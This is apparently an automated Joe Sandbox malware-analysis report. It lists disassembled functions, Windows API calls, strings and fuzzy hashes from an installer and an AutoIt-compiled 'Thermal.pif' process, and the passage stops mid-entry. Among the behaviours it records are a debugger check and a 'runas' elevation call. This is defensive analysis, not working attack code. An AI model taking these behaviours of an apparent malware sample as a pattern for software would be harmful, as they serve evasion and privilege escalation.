Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1317975118.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1317956249.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318000582.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318021031.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004F9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.00000000004FB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000505000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1318147372.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PkContent.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: Thermal.pifPID: 1648, Parent PID: 2628COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	75

Executed Functions

Function 00135240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0013526C
IsDebuggerPresent.KERNEL32 ref: 0013527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 001352E6

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

Part of subcall function 0012BBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0012BC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00135366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00170B2E
SetCurrentDirectoryW.KERNEL32(?), ref: 00170B66
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,001D6D10), ref: 00170BE9
ShellExecuteW.SHELL32(00000000), ref: 00170BF0

Part of subcall function 0013514C: GetSysColorBrush.USER32(0000000F), ref: 00135156
Part of subcall function 0013514C: LoadCursorW.USER32(00000000,00007F00), ref: 00135165
Part of subcall function 0013514C: LoadIconW.USER32(00000063), ref: 0013517C
Part of subcall function 0013514C: LoadIconW.USER32(000000A4), ref: 0013518E
Part of subcall function 0013514C: LoadIconW.USER32(000000A2), ref: 001351A0
Part of subcall function 0013514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 001351C6
Part of subcall function 0013514C: RegisterClassExW.USER32(?), ref: 0013521C

Part of subcall function 001350DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00135109
Part of subcall function 001350DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0013512A
Part of subcall function 001350DB: ShowWindow.USER32(00000000), ref: 0013513E
Part of subcall function 001350DB: ShowWindow.USER32(00000000), ref: 00135147

Part of subcall function 001359D3: _memset.LIBCMT ref: 001359F9
Part of subcall function 001359D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00135A9E

Strings

It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00170B28
runas, xrefs: 00170BE4
AutoIt, xrefs: 00170B23

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: a13b6abb1585de2af52c11818a2f788d2196e21fb3bc5faef21c5b35b04eb14d
Instruction ID: 2c44f43202e06f865b8de687adaa244d1bae6560bd809648154e2b0cf8627bd9
Opcode Fuzzy Hash: a13b6abb1585de2af52c11818a2f788d2196e21fb3bc5faef21c5b35b04eb14d
Instruction Fuzzy Hash: C5511730908689EEDF02EBF0DC85EEE7B75AF29740F144165F651671A2CB704685C720

Function 00183CE2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

